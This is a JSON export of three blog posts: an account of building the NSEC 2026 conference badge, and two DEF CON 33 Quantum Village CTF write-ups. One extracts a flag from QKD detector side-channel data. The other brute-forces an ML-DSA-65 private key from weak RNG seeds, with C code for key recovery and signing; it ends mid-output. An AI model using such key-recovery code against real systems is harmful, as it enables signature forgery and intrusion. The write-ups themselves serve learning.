[ { "title": "Ballad for a Badge - NSEC 2026", "url": "/ctf/2026/09/01/nsec2026-badge-journey/", "categories": "ctf", "tags": "nsec2026, badgelife, hardware, pcb, firmware, nfc", "date": "2026-08-30 15:00:00 -0400", "content": "Introduction Every year, NorthSec brings thousands of people together for a few intense days of security, competition, learning, and community. Making that happen is a large undertaking in its own right. Building custom electronic hardware for those attendees adds another project inside the project: a product has to be imagined, engineered, manufactured, programmed, assembled, and delivered against a deadline that cannot move. The conference badge is a highlight of the conference according to attendees. It is something to wear, explore, hack, and keep after the event. To the team behind it, the finished board represents months of design reviews, pull requests, component orders, prototype tests, firmware debugging, manufacturing decisions, and late-night conversations. No single person could carry all of that. The badge only happens because an amazing group of people brought different skills to the table and repeatedly stepped in wherever the project needs them. Our work on the NSEC 2026 badge began in October 2025. Over the next seven months, an idea became artwork and schematics, then a slightly-working prototype, a complete prototype, and eventually a complete hardware platform. The final weeks leading to the conference could be described as chaos. Not because of the team, they were amazing individuals to work with. Component availability shifted, a shipment became trapped in an administrative maze, and the margin between delivery and the start of the conference disappeared entirely. Let’s dive into how a NSEC conference badge is made! Seven months of parallel work and a very steep climb from confidence to chaos. October to January - Finding the Badge's Soul The first conversations in October were deliberately broad. We knew the theme was going to be Solarpunk, and we talked through some of the high-level aspects - which components we would want to target, certain features we wanted to introduce, and overall the user experience with the badges. At that point the badge was more possibility than product. That breadth is what makes a badge project so interesting, but also what makes it difficult. It is artwork, electronics, a firmware target, a communications platform, and a manufactured product at the same time. Even the framework around the firmware was something we decided to try differently this year. A small feature request can affect board routing, component count, power consumption, firmware complexity, cost, and lead time. A beautiful shape can make panelization difficult, as we found out with some of the shifting art direction. A perfect component can become unusable if the supplier cannot deliver enough of them, as we also found out with regards to the screens. Every decision crosses borders (technical, and geopolitical), so every discipline has to remain in conversation with the others. The early concepts went in a very different visual direction, including a tall crystalline form with interconnected elements. It was a useful beginning, but not yet the badge. The overall art direction for the conference evolved, and the badge design had to adjust with it. An intermediate design introduced the hexagonal outline, organic elements, a prominent centrepiece, and the large NSEC wordmark. By the end of January, the badge started to find its identity and the design direction was mostly finalized. The schedule already showed the scale of the undertaking. Long component lead times forced parts to be pre-ordered before the hardware was fully tested. PCB manufacturing and shipping consumed weeks, not days, and the boards would still require assembly, flashing, and validation after they arrived. The timeline looked sequential on paper, but the team could not work sequentially. Hardware, firmware, procurement, artwork, production tooling, and CTF development all had to move in parallel if we were going to be ready for May. February and March - Making It Real Prototype V1 arrived on February 16. Holding the first assembled board changed the project immediately. We could start to evaluate the outline, artwork, component placement, connectors, and electrical behaviour as one system. More importantly, the question changed from “should this work?” to the much more useful “what works, what does not, and who can help move it forward?”. A few fun details was that the V1 prototype accidentally didn’t have the components included on the front panel, and the original NFC built-in antenna was too small to work reliably. So buttons, SAOs, and light sensors were omitted, but with a DIY antenna fix, some manually soldered front buttons, thankfully most of the functionality lived on the back and we were able to get coding. The first boot target was intentionally simple: make the LEDs respond. When the test firmware lit them, we had our first visible confirmation that the board could be programmed and controlled. It was a small technical milestone and a large morale boost. From there, the work accelerated and spread across the team. Your browser does not support the video tag. Here is a link to the video file instead. Then a quick test suite to validate the manually soldered buttons. Waiting for button presses... (Press Ctrl+C or wait 30s to exit early) [PRESS] A (IO17) ✓ OK [RELEASE] A [PRESS] B (IO18) ✓ OK [RELEASE] B [PRESS] Right (IO16) ✓ OK [RELEASE] Right [PRESS] Up (IO13) ✓ OK [RELEASE] Up [PRESS] Left (IO15) ✓ OK [RELEASE] Left [PRESS] Down (IO14) ✓ OK --- Results --- A IO17 PASS B IO18 PASS Left IO15 PASS Right IO16 PASS Up IO13 PASS Down IO14 PASS 6/6 buttons verified. A GitHub project board turned the larger vision into work that could be owned, discussed, and reviewed. Hardware tasks sat beside core firmware, CTF functionality, module integrations, and docking ideas. That visibility mattered, and was a new structure put in place this year. It allowed people to pick up work, identify dependencies, review each other’s decisions, and contribute in multiple areas. The badge was no longer just a PCB being designed by a few people, it had become a platform being built by a team. The beginning of March brought a steady series of incremental technical vistories. Test firmware exercised the memory functions and established a known-good base for later features. Pre-ordered parts were sent to the fabricators making earlier component decisions tangible and increasingly expensive to change. By March 5, NFC card emulation and reading were both operational. Concepts that had existed in planning documents were becoming real interactions between badges, cards, modules, and CTF systems. Your browser does not support the video tag. Here is a link to the video file instead. Your browser does not support the video tag. Here is a link to the video file instead. By March 8, the project board showed how much the effort had expanded. Some features were complete, others were in review, and the backlog stretched across firmware, integrations, hardware files, CTF ideas, and docking. Progress was happening because people were working on different problems simultaneously while still converging on a common system. The hardware itself continued to evolve. We discussed adding another solder mask layer to Prototype V2. Solder mask is functional, but on an artistic PCB it is also part of the colour palette. The change could improve protection and contrast while making the physical badge feel substantially different without altering its outline. The revised design retained the form developed in January while adding far more visual depth. Copper, mask, silkscreen, components, and traces all became part of the illustration. The badge was no longer artwork placed on top of electronics; the electronics were the artwork. On March 13, we finally showed the outside world a glimpse of what the team had been building. Had we known the upcoming shipping and border delays, we may not have been so enthusiastic, however we were living in blissful ignorance at this point. The NSEC newsletter reveal leaned into the Solarpunk theme, exposing enough of the assembled prototype to make it real without giving away the complete board. Behind that public milestone, peer-to-peer pairing was also complete. The following day, a Wi-Fi portal proof of concept was demonstrated. Within two weeks, memory, NFC, badge-to-badge pairing, and a browser-based wireless interface had all moved from plans into working code. The value of the captive portal was to give participants an easy way to integrate with the badge internals, especially since we were not longer going with a screen due to lack of inventory, through a fmailiar wireless interface as something a user could operate in a browser. With that path working, the polish of user experience was expanded further than what originally would have been capable with only an onboard screen. Your browser does not support the video tag. Here is a link to the video file instead. Prototype V2 arrived on March 24, carrying the lessons from the first board into physical layout fixes, such as an extended NFC antenna, manufacturing adjustments, and visual refinements. NFC Pairing worked out of the box with existing code. That result said more than a passing test alone: the work completed against Prototype V1 had transferred cleanly to the revised hardware, and the different parts of the project were integrating as intended. Four days later the e-ink display was validated, confirming that the screen, electrical interface, and firmware driver all behaved together. On March 29, one day after validating the display, we ordered the production badges. To give numbers, we ordered around 1500 assembled badges. A prototype always leaves room for one more revision; a production order turns decisions into hundreds of physical boards and starts a clock that is much harder to move. After five months of design and bring-up, the project crossed from development into delivery. April - The Race to Be Ready April became a race along several parallel tracks. Even if the production badges were ordered, we hadn’t finalized every detail in code. We had enough confidence that all the components would work, but we needed to integrate everything into a single conference badge framework. Early in the month, the light sensor was calibrated and integrated into the firmware. Raw colour channels became useful lux and colour-temperature readings, thresholds behaved predictably, and detected events could be retained in non-volatile storage. It was another example of the detailed work hidden behind a finished feature, placing a sensor on the schematic was only the beginning, calibration made it useful. Alongside the main badge, the SAOs were designed by the badge team to add an interactive tie in to the Solarpunk theme. Preview renders arrived on April 12 with a planned physical journey as part of the soldering village activities of the conference. The SAOs were ordered on April 20, leaving little slack before the conference. However little did we know this wasn’t going to be the biggest stressor regarding delivery timelines. Supply-chain pressure was already beginning to show. The batteries arrived on April 14, resolving one dependency just as stock of the validated e-ink screen disappeared. We had proven the display only weeks earlier, but validation does not reserve vendor inventory. A component can work perfectly and still become a critical risk when it is unavailable in the quantity required. The team worked the problem as it had every other complication, adapting the plan. Still, it was the supply-chain equivalent of two steps forward and one step back, and the room to recover was shrinking. At the same time, we had to prepare for scale. By April 19 the multi-flasher script was running. Flashing one prototype by hand is development; flashing an entire production run requires repeatability, parallelism, useful error handling, and a workflow that many people can follow. The script was as much a part of the production system as the docks, fixtures, and cables. This was an improvement on the 2025 development process, and honestly is one of the reasons we were able to recover the way we did on delivery. python tools/flash.py --mode dual --bin-dir release/dual --all === NorthSec Badge 2026 Flasher === Mode: dual Bin dir: ..\\badge-2026\\release\\dual Files to flash: 0x0 bootloader.bin (14.8 KB) 0x8000 partitions.bin (3.0 KB) 0x10000 badge-conference.bin (414.9 KB) 0x150000 badge-ctf.bin (440.8 KB) Flashing 2 badges in parallel (dual mode)... [1/2] COM11 [2/2] COM4 ============================================================ Results (7.1s): ============================================================ [+] OK COM11 [+] OK COM4 Total: 2 succeeded, 0 failed out of 2 Firmware reached version 1.0.0 on April 25. Development did not stop, but the team now had a stable production image and a known baseline for final integration. The SAOs arrived two days later, and on April 28 the production badges shipped. It felt as though months of parallel effort were finally converging: hardware was in transit, add-ons were in hand, firmware was tagged, and the multi-flasher was ready. For the first time, the remaining path looked almost straightforward. Or so we thought… May - From Confidence to Panic While the production boards travelled, the team continued testing with Prototype V2. On May 3, the dock code was exercised with multiple prototype badges, validating not only the software but the physical workflow we expected to use once the shipment arrived. Then, on May 7, the first signs of trouble appeared. A shipping invoice needed correction. By May 11, we were navigating CARM, duties, and the paperwork required to release the shipment. What should have been a routine final delivery became a chain of administrative blockers at exactly the wrong time. The boards were manufactured and close enough to track, but not close enough to flash. Every day spent resolving paperwork was another day removed from assembly and testing. At first, there was room for cautious optimism. The team kept working through the process, providing documents, following up, and preparing everything that could be prepared without the production hardware. Then the dates became impossible to ignore. By May 13, NSEC was beginning and the badges still had not arrived. Remember, the conference kick off was the next day, May 14th, and we didn’t physically have the badges, nor were they assembled, nor have the firmware flashed. It was chaos. That was when concern became panic. Our NSEC president escalated the issue as far as the COO and CEO of DHL Canada while, in parallel, the team decided to work through contingencies based on previous years’ badges. The question became did we have enough badges from the previous year to give one per CTF team, and could we retrofit the challenge components of the firmware into these older badges. Surprisingly, I was able to make the firmwares work, but thankfully that was ultimately not required. Months of engineering had succeeded, but the entire attendee experience was at risk because the completed boards were beyond our reach. A new estimate promised delivery on May 14, the day of the conference kick-off. It was encouraging, but by then an estimate was not something we could build the conference around. We had to be ready for both outcomes, the new badges arriving at the last possible moment, or not arriving at all. The Conference Catches Up with the Badges The opening ceremony included a presentation about the badges even though the production boards were not yet there to hand out. It was an appropriately surreal moment. I stepped on to the stage and could explain the design, demonstrate the ideas, and describe the months of work behind them, but the objects themselves remained somewhere between customs, delivery, and the venue. The conference opened while we waited for the physical ending of the story to catch up. The shipment finally reached Marche Bonsecours a few hours after I introduced them to the crowd. The boxes showing up brought an enormous sense of relief, followed almost immediately by the realization that arrival was not the finish line. The boards still had to be assembled, flashed, validated, and prepared for attendees. Months of carefully scheduled work had collapsed into the opening hours of NSEC. Once the badges reached us, the development project transformed into a flashing and assembly party in the middle of the conference. Laptops, cables, docks, components, and boxes took over the room. The group of NSEC volunteers got together and made it a reality. More than any individual technical milestone, this was the part of the project that showed how good the badge team, and overall NSEC volunteer community was. People banded together without worrying about whose task something had originally been. The room became an improvised production line, and the conference community met the delay with patience and encouragement. What could have been remembered only as a shipping failure instead became a shared effort and, ultimately, a massive success. Ultimately we managed to get production, conference-ready badges, in attendee hands a mere few hours delayed from the kick-off, and the overall sentiment from individuals was positive. On top of it all, we had a stellar defect rate this year. Coming off of last year’s ~11% defect rate (stemming from the LED screen issues), we were happy to see only 14 badges defective, for an overall defect rate of 0.9%! The scene was chaotic, technical, collaborative, and perhaps the most honest conclusion possible. Seven months earlier, the badge had been sketches and conversations. Now the team was sitting together at NSEC, assembling, flashing, and hadning out real hardware while the event unfolded around us. The badges made it to attendees, the features we had spent months building came to life, and the project became part of the conference experience we had imagined back in October. Summary Building the NSEC 2026 badge was a large undertaking from the beginning. Between October and May, the team took it through several visual concepts, two hardware prototypes, production, and a broad firmware stack covering memory, NFC, peer-to-peer communication, Wi-Fi, e-ink, sensing, docking, and add-ons. Around that technical work sat procurement, manufacturing, testing infrastructure, documentation, logistics, and all the coordination required to make those efforts converge. There were complications throughout, but the project kept moving because the team kept adapting. The final shipping crisis pushed that ability to its limit. Paperwork and customs held the completed boards until NSEC had already begun, turning the final days into a mixture of escalation, contingency planning, cautious hope, and urgent on-site production. It was not the ending shown on our original timeline, but it may have been the ending that best represented the project. The badge succeeded because a remarkable team stayed collaborative under pressure, trusted the preparation already completed, and kept solving the next problem until the boards reached attendees’ hands. Finally, I’d love to share the actual “ballad of the badge” that one of the team members generated during the conference, capturing our overall struggles, journey, and triumph. Your browser does not support the audio tag. Here is a link to the audio file instead. Ballad for a Badge - NSEC 2026 Edition Looking Ahead to NSEC 2027 If anyone is interested in the code, schematics, and lower level details - we open-sourced all the code for the 2026 edition in NSEC Badge 2026 repo. Useful outcomes of a project like this is not only the finished code and hardware. It is also the set of lessons that can make the next project better. We now have direct experience with the places where the 2026 schedule held, where it had too little margin, which technical workflows scaled well, and which procurement and shipping assumptions need to change. Planning for NSEC 2027 is already beginning! The goal is to build on what we have learned over the last few years, take some of the more administrative improvements we learned from 2026, and see how the team can elevate themselves yet again for an amazing conference experience. It’s a tall order, but it’s also an amazing team. There will be more to share as those plans take shape. For now, the 2026 journey gives us both something to celebrate and a valuable engineering baseline for what comes next. Thanks folks, until next time!" }, { "title": "DEF CON 33 - Quantum Village - The Shapiro Incident", "url": "/ctf/2025/08/20/defcon33-quantumvillage-shapiro/", "categories": "ctf", "tags": "defcon33, ctf, cryptography, qkd", "date": "2025-08-20 20:00:00 -0400", "content": "Introduction Quantum Key Distribution (QKD) is often described as “unhackable” because, in the ideal model, any eavesdropper who touches the qubits disturbs them and gets caught. The Shapiro Incident challenge from DEF CON’s Quantum Village is another reminder that real systems live in the non-ideal world. Similar to The Entropy Heist challenge which introduced operational implementation failures of Post-Quantum Cryptography, Professor Shapiro didn’t break the quantum mechanics of the system. She listened to something the math doesn’t talk about: the analog whisper, or operational side-channel, of Bob’s detector. This post is an end-to-end dive into how that whisper becomes a leak. We’ll start with the data we were given, walk through how a single physical parameter, avalanche charge amplitude, quietly biases the surviving bits, and show how a simple alignment step turns a biased subsequence into readable ASCII. Along the way we’ll detour through avalanche photodiode physics, sifting, timing/jitter, byte-phase alignment, and why 70% wasn’t a magic number but the right trade-off for this dataset. The conclusion is a flag and, more importantly, a lesson: math proves what could be secure, but implementation decides what is actually secure. Initial Data Let’s take a look at the initial data we were given for the challenge. The challenge provided four files. The one that looks most important at first glance is the session exchange log, representing the full QKD data exchanged: $ head exchange_obf.csv pid,bA,vA,bB,vB 0,X,1,Z,1 1,X,1,Z,0 2,Z,1,X,0 3,X,1,Z,1 4,Z,1,Z,1 5,X,1,Z,1 6,Z,1,X,1 7,Z,0,Z,0 8,Z,0,X,1 We’re also provided with additional files representing equipment measurements. This is classical telemetry data surrounding the QKD process: The detector_temp.csv file logs temperature at incremental time steps. $ head detector_temp.csv time_s,temp_C 0.0,19.994035731013444 0.1,20.013472168559606 0.2,20.00529588519303 0.3,20.018023330734938 0.4,20.00415280982704 0.5,20.00977831400866 0.6,19.990905067747388 0.7,20.01350459379726 0.8,20.000599307627574 The timing_jitter.npy file summarizes the distribution of detection times per pulse. The charge_histogram.npy file is one real number per pulse: the integrated charge from Bob’s avalanche photodiodes (APDs) readout. We have a trove of data, excellent. Let’s refresh how QKD works before diving into the specifics of the Shapiro Incident. Background on QKD I go more into detail of QKD theory in one of my previous posts Quantum Challenge 2020, but to summarize here: Alice choses a value and prepares qubits in one of two possible bases (Z or X), then sends them off to Bob. Bob measures the qubits in either randomly chosen basis. They publicly reveal their chosen bases and keep only the matching ones. Error rates are checked, privacy amplification happens, and a shared key emerges. Critically, Bob’s measurement outcome is supposed to be random from Eve’s perspective. Without disturbing the quantum channel, which would raise the Quantum Bit Error Rate (QBER), there should be no way to know his raw bit string. But this “perfect” view assumes ideal detectors. We have been given classical instrumentation telemetry that reveals imperfections in the detection process. Glitch In The Matrix This was one of the cooler aspects of this challenge for me. While I was already familiar with QKD and the BB84 protocol, I hadn’t spent much time digging into real-world implementations. This challenge allowed me to learn more about the operational, noisy, side of things. When you start looking up how QKD is built in practice, you see there are a few main “categories”. Many modern high-end implementations use superconducting nanowire single-photon detectors (SNSPDs). These are efficient and low-noise, but they require cryogenic cooling and very careful infrastructure. By contrast, deployed and field-trialed fiber-based QKD systems in the 2000s–2010s use InGaAs/InP avalanche photodiodes (APDs), because they work at telecom wavelengths and can be operated with fast gating electronics at room temperature. The avalanche multiplication process is inherently messy. The exact gain depends on microscopic noise, bias voltage, and gate timing, and this opens cracks an attacker can exploit. For example, the blinding attacks show that if you shine strong continuous light on an APD, you can force it out of single-photon mode and into a classical linear regime. Suddenly the “quantum” detector is just a photodiode under your control. Time-shift attacks exploit the fact that detector efficiencies aren’t perfectly symmetric, if you send photons slightly earlier or later, you bias which detector is more likely to fire, leaking key information. Afterpulse exploitation leverages the fact that an avalanche leaves behind trapped carriers in the diode that can re-trigger spurious clicks a few nanoseconds later, which an attacker can statistically manipulate. And ultimately in this challenge, we saw charge-amplitude biasing, where the analog height of the avalanche pulse leaks information about which detector (and thus which bit) was detected. The tell is the charge_histogram.npy. Only APDs produce indiscriminate charge amplitudes which tend to have slightly mismatched tails depending on which detector channel clicked (corresponding to “bit=0” vs “bit=1”). We will see in the next section how we can take advantage of this to extract data. To help illustrate what we are working with here is an example schematic of an implementation of a QKD system showing the different APDs. Red circle emphasis added. Schematic diagram of main components of the QKD system, showing the transmitter (Alice) and receiver (Bob). LD: Laser diode, IM: Intensity modulator, BS: Beam splitter, PBS: Polarising beam splitter, A: Variable optical attenuator, I: Optical isolator, F: Narrow band pass optical filter, DL: Delay line, MD: Monitoring detector, EPC: Electronic polarisation controller, FS: Fibre stretcher, APD: Avalanche photodiode detector, SD: self-differencing circuit. [1]. Why A Louder Click Gives Away A Little More Real detectors are not twins. While the two bit channels sit behind identical APDs, environmental factors mean one channel will have a slightly larger high-amplitude tail or a slightly different gain. If you look at the distribution of charge amplitudes when Bob reports vB=0 versus vB=1, the histograms overlap almost completely, but not perfectly. The difference is nearly invisible by eye in the bulk of the distribution but it becomes measurable in the tail where avalanches are loudest. Let’s look at the charge_histogram.npy file a bit closer. I split the sifted clicks (throwing away where the basis didn’t match or output was -1) by Bob’s bit and plotted their charge distributions with three vertical cutoffs: 50%, 70%, and 90%. If you stare at those curves long enough you still won’t see a gap, trust me I tried…hard. But that’s the point, the difference is minor to the point of not being immediately obvious. Here is the breakdown for a series of cutoffs and the resulting bit distributions: Percentile cutoff Threshold # Bits kept Fraction 0 Fraction 1 50 (median) 0.229 12,552 0.500 0.500 70 2.278 7,531 0.497 0.503 80 2.540 5,021 0.496 0.504 90 2.665 2,511 0.492 0.508 95 2.741 1,256 0.474 0.526 Now the leakage starts to show up. At 50% the sequence is basically a fair coin: ~50/50. As you raise the cutoff and keep only louder avalanches the distribution skews, topping 52.6% ones vs 47.4% zeros at the highest cutoffs. If you take all bits, you see random garbage. The higher the cutoff, the more pronounced the bias, however the less data to work with. We need to find the middle ground. If you select only the tail, which based on our graph above is around 70%, we’re left with a slightly unfair coin, but enough data to work with. When you concatenate tens of thousands of those bits, the bias is enough to “shine through”, as we will see when we align the stream into bytes as part of the challenge. I Reject Your Reality, And Substitute My Own Alright, let’s get to solving this. I’ll provide the script locations at the end of the post, but to start, we need to do a few things: Load the files programatically Sift the bits by vB != -1 and bA == bB Select the charge tail of the distribution based on the chosen cutoff Pack the bits into bytes Profit? With the first attempt coded up, I gave it a shot. And… python qv_extract_flag.py --exchange exchange_obf.csv --charge charge_histogram.npy --pct 70 [info] total pulses: 50000 [info] kept after sifting (vB&gt;=0 &amp; bA==bB, basis=ALL): 25103 [info] |charge| percentile 70.0 -&gt; threshold = 2.27778 [info] selected pulses: 7531 (30.0% of sifted-in-basis) [miss] No fully-printable qv{...} found [peek] preview: qv{p................R........l........I....8..q.h....A%Y.T&amp;R.......v.&amp;..oh..k......2.4.......m...:....o........q.5.&gt;...x.c#.K... …oof, so close! It’s starting with qv{p so we’re clearly on to something here. What went wrong? The reason is subtle. By filtering on charge, we’re no longer taking a perfectly contiguous run of the raw sifted key. Instead, we’re cherry-picking pulses with stronger analog signatures. That makes the distribution biased (good for us) but it also means we’re occasionally dropping or inserting a bit relative to the true byte framing. Even a single skipped bit causes every subsequent byte boundary to shift. So what do we do? Resynchronization! To realign the bits, we need to find the initial byte boundary and then adjust for any slips that occurred during the filtering process. Instead of assuming the byte framing will hold forever, we allow the decoder to slip by one bit whenever the output stops looking plausible. When decoding produces non-printable garbage, shift the phase forward by one bit and keep going. This effectively re-locks onto the true framing, just like nudging those typewriter gears back into place. With this adjustment, the script can tolerate occasional skips or drops caused by the charge-threshold selection. Alright, let’s give it another shot! python qv_extract_flag_resync.py --exchange exchange_obf.csv --charge charge_histogram.npy --pct 70 [info] total pulses: 50000 [info] kept after sifting (vB&gt;=0 &amp; bA==bB, basis=ALL): 25103 [info] |charge| percentile 70.0 -&gt; threshold=2.27778 [info] selected pulses: 7531 (30.0% of sifted-in-basis) [hit] initial 'qv{' at phase=0, byte_pos=0, bit_pos=0 [FLAG] qv{photon_numbar_splitters_ne6er_die} [resync] slips_used=1 [done] Heck yeah! So in theory our flag is qv{photon_numbar_splitters_ne6er_die}. I submit it…and still not correct. Drat. But that’s close enough that I made a small assumption that a few of the characters needed to be swapped. I figured I would need to take out the leetspeak, bringing us to qv{photon_number_splitters_never_die}. Mic drop it was accepted, for a successful flag, and first blood on the track! I also find the flag funny as photon number splitting (PNS) is another real attack vector against QKD. Subtle nod, it was excellent. Summary I loved this challenge because it rewards curiosity about how things actually work. In BB84 theory, Eve cannot gain information without disturbing the quantum states and raising the error rate - ultimately causing detection. But what we were exploiting here did not interfere with the quantum nature of QKD. It was the noisy, analog, classical layer where photons become voltages and voltages become bits. That distinction is critical. Quantum cryptography’s promise lies in its foundations, but the real-world deployments live or die by the engineering: imperfect detectors, electronics with bias, thresholds set by humans. Side-channel attacks like this QKD hack is a reminder that most of the time it’s not the math that fails, it’s the implementation. I want to thank Quantum Village, and specifically Robin Descamps for putting this challenge together. These kinds of challenges are rare and invaluable because they force us not just to read about QKD in papers, but to play with its guts, to grapple with how APDs or basis sifting or charge amplitudes really behave. That process deepens understanding in a way that no lecture or textbook can. Thanks folks, until next time! The full scripts to what I covered above can be found at https://github.com/padraignix/quantum-challenges." }, { "title": "DEF CON 33 - Quantum Village - The Entropy Heist", "url": "/ctf/2025/08/16/defcon33-quantumvillage-entropy-heist/", "categories": "ctf", "tags": "defcon33, ctf, cryptography", "date": "2025-08-16 17:00:00 -0400", "content": "Introduction Entropy is the lifeblood of cryptography. If your cryptographic system’s randomness is weak, you’ve already lost - no matter how mathematically secure the algorithm is. As part of this year’s Def Con 33 - Quantum Village CTF, the point was driven home in a challenge involving post-quantum cryptography and low-entropy randomness. While we ended up working with a NIST selected Post-Quantum signature scheme, this challenge showed that being quantum-safe doesn’t mean being low-entropy safe. As an industry we should be keeping the migration to PQC in mind, operationally we also need to ensure that we are implementing it securely to avoid potential vulnerabilities like what we see in this challenge. Challenge Introduction We start off this challenge with a descriptive narrative and a certificate file. Alright we’re given a certificate so let’s take a look and see if we can extract any additional information. openssl x509 -in quantumvillage.cert -inform PEM -text -noout ... Public Key Algorithm: 2.16.840.1.101.3.4.3.18 Unable to load Public Key 80EB0B7BAF7F0000:error:03000072:digital envelope routines:X509_PUBKEY_get0:decode error:../crypto/x509/x_pubkey.c:458: 80EB0B7BAF7F0000:error:03000072:digital envelope routines:X509_PUBKEY_get0:decode error:../crypto/x509/x_pubkey.c:458: ... A quick search of the OID reveals that this is indeed a post-quantum signature scheme, specifically ML-DSA-65, a variant of the Dilithium algorithm. In order to move to supporting the NIST standardized OIDs for Post-Quantum algorithms, the following algorithms have switched their underlying OIDs: ML-DSA-44 now uses 2.16.840.1.101.3.4.3.17, ML-DSA-65 now uses 2.16.840.1.101.3.4.3.18, ML-DSA-87 now uses 2.16.840.1.101.3.4.3.19. What was interesting is that I was running into public key loading issues. $&gt; openssl version OpenSSL 3.0.2 15 Mar 2022 (Library: OpenSSL 3.0.2 15 Mar 2022) Which seemed to stem from https://github.com/openssl/openssl/issues/18039. Thankfully, this wasn’t too much of a blocker, but did require a custom route to dump the public key. We already know by the OID that we are working with ML-DSA-65. There are a few ways you could get the public key from the cert file, even just carving out the cert file at certain byte offsets, but I ended up creating a small utility script, that also checks for the various key lengths to determine which variant of ML-DSA we are working with, and extracts the public key to it’s own separate file. This is a bit of foreshadowing for later parts. Running the utility script confirms our previous details, and also writes out pk.bin and sig.bin. python .\\dump.py .\\quantumvillage.cert SubjectPublicKeyInfo.algorithm OID: 2.16.840.1.101.3.4.3.18 SignatureAlgorithm OID: 2.16.840.1.101.3.4.3.18 Public key length (pk.bin): 1952 bytes (raw key payload) Certificate signature length: 3309 bytes Wrote pk.bin and sig.bin Size hints: - Dilithium3: pk=1952, sig=3309 (matches: 2/2) Great, I know it’s ML-DSA-65, and I have the public key. Now what? Let’s look at how ML-DSA-65 uses RNG and how we can exploit weak entropy. Background on ML-DSA Key Pair Generation Before we talk about forging signatures, it’s worth stepping back to look at how ML-DSA-65 actually produces its public/private key pairs. The overall FIPS204 documentation is a handy reference here. Looking through it we can see the key generation process is deterministic once you fix a seed. When you call OQS_SIG_keypair (specifically for the OQS library, used in this challenge), the algorithm first asks the system’s random number generator for a block of entropy. For ML-DSA-65 this seed is 256 bit. In a healthy system, these bits should be unpredictable, drawn from a cryptographically secure RNG. But we know this isn’t quite the case! Its deterministic random bit generator (DRBG), used to seed cryptographic operations is severely flawed. Analysis indicates it outputs predictable, low-quality randomness: too many zeros, repeating patterns. Deterministic vs. Hedged Signing According to NIST FIPS 204, ML-DSA supports two signing approaches: Deterministic signing The randomness is derived only from the message and private key. This guarantees the same message always produces the same signature. Deterministic mode doesn’t depend on an RNG, but it’s more vulnerable to side-channel or fault attacks because the process is entirely predictable. Hedged signing (the default) A blend of two randomness sources is used: A fresh 256-bit (32 bytes) random value pulled from the RNG at signing time. Pseudorandomness derived from the message and key. The “hedge” is meant to protect against two classes of failure. First, if the RNG is broken, the message/key pseudorandomness still keeps the commitment value secure. Secondly, if the deterministic path leaks side-channel info, the fresh randomness adds noise and makes exploitation harder… IF the RNG is not also broken. Based on what we know about the challenge, you might think we are dealing with deterministic signing (since we need to sign, deterministically, the challenge string to get the flag), but ultimately the indications towards the weak entropy was the hint towards hedged signing. Setting Up - OQS Alright, enough theory, let’s get to work. The plan is essentially a few steps: Compile the OpenQuantumSafe library locally Control the random number generator (RNG) Iterate through key pair generation with our various RNG attempts If our generated public key matches the public key we extracted from the certificate, we have the private key! So first, we need to compile the OpenQuantumSafe library. I cloned over https://github.com/open-quantum-safe/liboqs and compiled it. Funny enough, I ran out of memory on the device I was working from so had to tweak a few of the settings and turn off portions I didn’t need for the compile to work. cmake -S liboqs -B liboqs/build \\ -DOQS_BUILD_ONLY_LIB=ON \\ -DOQS_ENABLE_KEM=OFF \\ -DOQS_ENABLE_SIG=ON \\ -DOQS_ENABLE_SIG_ML_DSA=ON \\ -DOQS_ENABLE_SIG_FALCON=OFF \\ -DOQS_ENABLE_SIG_SPHINCS=OFF \\ -DOQS_DIST_BUILD=OFF \\ -DOQS_USE_OPENSSL=OFF \\ -DOQS_OPT_TARGET=generic \\ -DCMAKE_BUILD_TYPE=Release cmake --build liboqs/build --config Release -- -j1 Successfully compiled locally, let’s get the brute force script going. Et tu, Brute? I’ll link to the full script at the end of the post, but for now here’s a logical breakdown of what it’s doing. Setup the ML-DSA-65 structure, including our controlled custom rng OQS_SIG *sig = OQS_SIG_new(\"ML-DSA-65\"); ... pk = (uint8_t *)malloc(sig-&gt;length_public_key); sk = (uint8_t *)malloc(sig-&gt;length_secret_key); ... OQS_randombytes_custom_algorithm(custom_randombytes); Where custom_randombytes is a function that provides our low-entropy repeating pattern. static void custom_randombytes(uint8_t *out, size_t out_len) { for (size_t i = 0; i &lt; out_len; i++) { out[i] = seedbuf[seedidx % SEEDSPAN_MAX]; seedidx++; } } Control the RNG during key generation. While I had setup my brute force script for the long haul, it ended up hitting the right keypair on literally the first try. This has me raise an eyebrow at whether I broke something, but my thought was to iterate in increasing complexity. Starting with fixed bytes, and then expanding into larger, more complex patterns. uint8_t seed[SEEDSPAN_MAX]; memset(seed, 0x00, sizeof(seed)); // Quick pass 0: constant-byte seeds (all bytes == v) { for (int v = 0; v &lt; 256; v++) { memset(seed, (uint8_t)v, N); if (try_seed_and_check(sig, target_pk, target_len, seed, N, found_sk)) { printf(\"FOUND (constant-byte): v=%d\\n\", v); printf(\"Seed: \"); for (size_t i = 0; i &lt; N; i++) printf(\"%02x\", seed[i]); printf(\"\\n\"); goto SIGN_OUT; } } fprintf(stderr, \"Constant-byte pass: no match.\\n\"); } Generate deterministic key pairs and compare to our public key static inline int try_seed_and_check(OQS_SIG *sig, const uint8_t *target_pk, size_t target_pk_len, const uint8_t *seed, size_t seed_len, uint8_t *out_sk) { // Load seed into seedbuf and reset index memset(seedbuf, 0x00, SEEDSPAN_MAX); if (seed_len &gt; SEEDSPAN_MAX) seed_len = SEEDSPAN_MAX; memcpy(seedbuf, seed, seed_len); seedidx = 0; if (OQS_SIG_keypair(sig, pk, sk) != OQS_SUCCESS) return 0; // Compare generated public key with target public key if (memcmp(pk, target_pk, target_pk_len) == 0) { memcpy(out_sk, sk, sig-&gt;length_secret_key); return 1; } return 0; } Hacker Voice: I'm In For fun, I included the challenge string in the script directly. Figured if I got lucky and generated the private key, I should be able to sign the message immediately and submit the flag. const char *msg = \"QuantumVillageChallenge2025\"; size_t mlen = strlen(msg); size_t siglen = sig-&gt;length_signature; uint8_t *signature = (uint8_t *)malloc(siglen); if (!signature) { fprintf(stderr, \"alloc signature failed\\n\"); OQS_SIG_free(sig); free(target_pk); free(pk); free(sk); free(found_sk); return 1; } if (OQS_SIG_sign(sig, signature, &amp;siglen, (const uint8_t *)msg, mlen, found_sk) != OQS_SUCCESS) { fprintf(stderr, \"sign failed\\n\"); OQS_SIG_free(sig); free(target_pk); free(pk); free(sk); free(found_sk); free(signature); return 1; } Last part was compiling the script and kicking it off. cc -O3 -march=native -std=c11 -I ./liboqs/build/include ml_dsa_bruteforce.c ./liboqs/build/lib/liboqs.a -o brute ./brute Keygen consumed_first bytes: 32 FOUND 